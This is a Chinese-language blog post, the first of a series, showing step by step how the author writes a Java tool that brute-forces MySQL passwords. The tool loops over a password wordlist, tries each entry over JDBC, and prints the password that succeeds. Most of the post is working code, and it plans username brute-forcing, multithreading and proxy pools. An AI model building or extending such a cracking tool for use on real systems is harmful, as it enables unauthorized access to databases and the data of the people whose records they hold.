記--一個數據庫密碼爆破工具的成長曆程(1)
寫一個數據庫密碼爆破工具
目前完成:
package jsp; import java.io.*; import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; public class sql { public static void main(String[] args) throws IOException { String path = ""; File file = new File("C://a/password.txt"); StringBuilder result = new StringBuilder(); try { BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案 String s = null; while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行 result.append(System.lineSeparator() + s); try { Class.forName("com.mysql.jdbc.Driver"); String url = "jdbc:mysql:///db1"; String username = "root1"; String password = s; Connection conn = DriverManager.getConnection(url,username,password); System.out.println("密碼正確"); System.out.println("正確密碼是"+s); } catch (ClassNotFoundException | SQLException e) { System.out.println("密碼錯誤"); } } br.close(); } catch (Exception e) { e.printStackTrace(); } } }
上面的程式碼,完成了下面幾件事。
- 首先,先確定了字典的位置,然後使用迴圈逐行讀取字典的內容。
- 利用try--catch來將登陸成功和失敗區分
- 最後在登入成功之後,使用輸出語句,將密碼打印出來。
程式碼思路分析
想要寫一個數據庫密碼爆破工具,首先在程式碼裡面,我們肯定需要進行資料庫的連線,也就是下面的這段程式碼。
Class.forName("com.mysql.jdbc.Driver"); String url = "jdbc:mysql:///db1"; String username = "root1" String password = "password"; Connection conn = DriverManager.getConnection(url,username,password);
學過jdbc的看懂這段程式碼沒啥問題,但是要考慮一點,我們的目的是為了寫一個數據庫密碼的爆破工具,利用burp進行弱口令爆破的時候,我們需要進行的操作是將需要變換的值變成變數。java裡面顯然是無法這麼智慧,但是也能讓我們理清一條思路,就是我們想要完成資料庫密碼的爆破,首先,我們需要設定一個迴圈,讓這個獲取連線的操作不斷進行,利用連線成功和失敗的不同反饋來判斷連線是否成功。
不斷進行同一個操作,我們就需要用到迴圈。
判斷連線是否成功,我們就需要用到if判斷。當然,因為我們連線資料庫是利用了try--catch來進行的,而資料庫的連線會報錯,所以我們可以利用try--catch來進行判斷,而不需要自己寫一個迴圈。
所以,程式碼就會變成這個樣子。
for (int i = 0; i < 1000; i++) {
try {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1";
String password = "password";
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密碼正確,登入成功");
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密碼錯誤,登入失敗");
}
}
}
達到這一步之後,執行程式碼可以得到的結果是,雖然目前完成了密碼的判斷和迴圈操作,但是首先,我們的迴圈次數不應該定義成一個固定值,因為假設我們登入成功之後,就不需要繼續往下繼續迴圈,而且,字典的長度如果達不到迴圈定義的最大值,也會出現問題。
而在這一步完成之後,還有一點需要考慮的是,我們不能每執行一次程式碼,就手動的修改一次密碼。這跟我們自己測試賬號密碼的沒有任何區別。
所以下一步我們要做的就是,優化迴圈次數,將密碼從檔案中匯入到程式碼裡面。
String path = "C://a/password.txt";
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = "jdbc:mysql:///db1";
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密碼正確");
System.out.println("正確密碼是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密碼錯誤");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
這裡,我本來是想利用FileInputStream來完成這一步的,但是我找了一些之前寫的文章,發現我並沒有辦法使用FIleInputStream來完成一個動態讀取單行的字元。
所以我在網上找了另外一種方式,經過測試之後發現確實有效,因為這種方法我瞭解的並不多,只是測試之後發現程式碼可以使用,所以這裡就不多解釋。
而目前,所能達到的效果是,通過修改path的值,可以修改每次爆破使用的字典。
迴圈也可以完成讀取到字典的最後一行就截至,不會在字典結束之後依然繼續執行。
通過connection物件獲取成功和失敗的不同表現,也可以在字典中獲取到正確的密碼。
優化思路
剛才的程式碼其實也可以發現,想要使用這個工具,必須要有一定的程式碼功底,這就導致了程式碼的適用性不是特別強。
比如說字典的位置的定義,資料庫位置的定義,使用者名稱不變,單純的爆破密碼。所以,如果這些內容是可以通過使用者輸入控制的,就能大大增加適用性。
目前想到的優化:
- 使用scanner從控制檯讀取字典位置和資料庫位置
- 在控制檯輸出密碼使用起來還是不太方便,將正確的密碼通過位元組流寫入到一個文件中。
- 密碼都寫了,不妨吧資料庫的地址和賬號密碼一起寫入。
- 目前爆破僅限於密碼,所以後面可以設計迴圈巢狀將賬戶密碼一起爆破。
- 爆破目前使用的是單執行緒,所以為了後期的實用性,會加上多執行緒和代理池。
- 程式碼格式的檔案對很多人來說使用還是不夠方便,所以圖形化介面也是需要進行的。
實施過程
有了優化思路,就要開始實施,因為目前暫時沒打算做圖形化的頁面,所以使用者指定字典位置和資料庫地址我打算從控制檯讀取。至於後面改造成圖形化之後要怎麼使用,另外再說。
- 優化第一步,使用scanner從控制檯讀取字典位置和資料庫位置。
package jsp;
import java.io.*;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.Scanner;
public class sql {
public static void main(String[] args) throws IOException {
Scanner sc1 = new Scanner(System.in);
System.out.println("請輸入爆破字典地址(絕對路徑)");
String zdadd = sc1.next();
Scanner sc2 = new Scanner(System.in);
System.out.println("請輸入資料庫地址(jdbc格式)");
String sqladd = sc2.next();
String path = zdadd;
File file = new File(path);
StringBuilder result = new StringBuilder();
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//構造一個BufferedReader類來讀取檔案
String s = null;
while ((s = br.readLine()) != null) {//使用readLine方法,一次讀一行
result.append(System.lineSeparator() + s);
try {
Class.forName("com.mysql.jdbc.Driver");
String url = sqladd;
String username = "root1";
String password = s;
Connection conn = DriverManager.getConnection(url,username,password);
System.out.println("密碼正確");
System.out.println("正確密碼是"+s);
} catch (ClassNotFoundException | SQLException e) {
System.out.println("密碼錯誤");
}
}
br.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
在做到這一步優化的時候,我突然想到,jdbc可能也不會每個人都能理解,所以,在格式上,可能會出現問題,並且,之前在學jdbc的時候,有學過吧註冊驅動,配置連線這些步驟寫入到配置檔案中,當需要修改的時候,只需要修改配置檔案,讀取的資料的時候,則從配置檔案中讀取。
這個可能在這個地方不太適用,但可能也是後期優化的一個點。